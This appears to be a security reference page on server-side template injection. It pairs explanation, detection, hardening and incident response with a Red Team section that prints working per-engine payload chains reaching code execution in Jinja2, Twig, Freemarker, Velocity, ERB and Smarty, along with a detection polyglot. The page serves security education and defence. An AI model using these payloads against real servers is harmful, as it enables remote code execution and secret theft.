SSTI (templates)
When user input reaches a server-side template engine as part of the template (not as data), the attacker injects expressions the engine evaluates. In most engines this escalates to remote code execution (RCE), because the expression can reach the language runtime. The invariant the attack breaks is “the template is trusted code; user data goes in as variables”.
flowchart LR
A[Attacker] -->|"name = {{7*7}}"| T["Template engine (compiles + evaluates)"]
T -->|"49 reflected"| A
A -->|"{{ ...globals...os.popen('id') }}"| T
T -->|"reaches the runtime"| R[RCE on the server]
Threat model
Section titled “Threat model”RCE on the server (most common), file and secret reads, SSRF, and leakage of the template context (internal variables, config). Impact depends on the engine and whether it runs in a sandbox: in engines without a sandbox the jump to RCE is almost immediate; in those that have one, the work is finding a sandbox escape.
Anatomy
Section titled “Anatomy”A template engine compiles text with markers ({{ }}, ${ }, <%= %>) and evaluates them.
The flaw appears when the template is built by concatenating user input (e.g.
render_template_string("Hi " + name)) instead of passing it as a variable
(render(template, name=name)). Don’t confuse it with XSS: SSTI
evaluates on the server; XSS autoescape does not mitigate it, because the problem
isn’t how the data is shown but that the engine executes it.
Common engines
Section titled “Common engines”Jinja2 / Flask (Python) · Twig (PHP) · Freemarker / Velocity (Java) · ERB / Slim (Ruby) · Handlebars / Pug / EJS (Node) · Smarty (PHP) · OGNL / SpEL (Java, in frameworks). OGNL and SpEL aren’t “templates” but they’re expression languages with the same class of flaw and the same ending: RCE.
Variants
Section titled “Variants”- Classic SSTI → RCE — from the expression to the language runtime.
- Sandboxed SSTI — the engine restricts access; a sandbox escape is required.
- Expression Language injection — OGNL/SpEL in Java frameworks (Struts, Spring).
- Context leak without RCE — reading config/variables when RCE isn’t reachable.
Red Team
Section titled “Red Team”Discovery
Section titled “Discovery”Inject a math probe and see if it evaluates (if you get 49, there’s SSTI); then
identify the engine by which syntax works or by the errors:
| Probe | Result | Likely engine |
|---|---|---|
{{7*7}} |
49 |
Jinja2 / Twig |
${7*7} |
49 |
Freemarker / Velocity / Spring EL |
<%= 7*7 %> |
49 |
ERB |
#{7*7} |
49 |
Ruby (Slim) / Thymeleaf |
{7*7} |
49 |
Smarty |
A useful polyglot to detect several at once (triggers an error or evaluation across
engines) is ${{<%[%'"}}%\.
Exploitation per engine (from expression to RCE)
Section titled “Exploitation per engine (from expression to RCE)”Jinja2 (Python) — chains vary by version:
{{ cycler.__init__.__globals__.os.popen('id').read() }}{{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() }}Twig (PHP):
{{ ['id']|filter('system') }}{{ _self.env.registerUndefinedFilterCallback('exec') }}{{ _self.env.getFilter('id') }}Freemarker (Java):
<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }Velocity (Java):
#set($e="e")$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("id")ERB (Ruby):
<%= system("id") %><%= IO.popen("id").read %>Smarty (PHP):
{system('id')}Researcher workflow
Section titled “Researcher workflow”- Math probe at each reflected point; confirm it evaluates (it’s not XSS).
- Identify the engine by the working syntax or by the error message.
- Adapt the RCE chain to the engine; if there’s a sandbox, find the escape.
- Prove impact with a harmless command (
id) within scope.
Tooling
Section titled “Tooling”tplmap and SSTImap (automatic detection + exploitation), PayloadsAllTheThings (per-engine chains) and Burp for manual work.
Impact and chaining
Section titled “Impact and chaining”RCE → secret exfiltration, pivot, persistence. It overlaps with command injection in the result (a shell on the server) and, when RCE isn’t reachable, with LFI-style reads and SSRF from the expression.
Blue Team
Section titled “Blue Team”Detection
Section titled “Detection”- Template errors in logs after input with
{{,${,<%,#{. - The app process spawning shells/unusual binaries (as in command injection) — a strong EDR signal.
- WAF with SSTI probe/payload signatures and anomaly detection.
Telemetry and sources
Section titled “Telemetry and sources”App and engine logs, process creation (auditd/Sysmon), server egress/DNS.
Hardening
Section titled “Hardening”- Don’t build templates with user input. Pass data as variables, never concatenated into the template.
- Use logic-less templates (Mustache) or sandboxed engines when users must supply templates; validate/limit exposed functions.
- Least privilege and isolation (container, seccomp) to limit RCE.
- Autoescape protects against XSS, not SSTI: don’t rely on it here.
Response
Section titled “Response”Isolate the host, rotate secrets reachable by the process, hunt for persistence, and fix the template construction.
CVEs and real-world cases
Section titled “CVEs and real-world cases”- Atlassian Confluence — OGNL injection (CVE-2021-26084, 2021) — OGNL expression injection (a close cousin of SSTI) enabling unauthenticated RCE; mass-exploited.
- Atlassian Confluence — Widget Connector (CVE-2019-3396, 2019) — Velocity SSTI leading to path traversal and RCE.
- Numerous Flask/Jinja2 and Twig applications have suffered SSTI→RCE, and there are SpEL (Spring Expression Language) injections in several Java products.
Product-specific CVEs in NVD (https://nvd.nist.gov/vuln/search) and GitHub Advisories (https://github.com/advisories).
Testing checklist
Section titled “Testing checklist”- Math probe tested at each reflected point (identifies the engine).
- Server-side evaluation confirmed (it’s not XSS).
- RCE chain adapted to the engine (or sandbox escape if applicable).
- Impact proven with a harmless command (
id) in scope. - Reads (LFI/SSRF) evaluated if RCE isn’t reachable.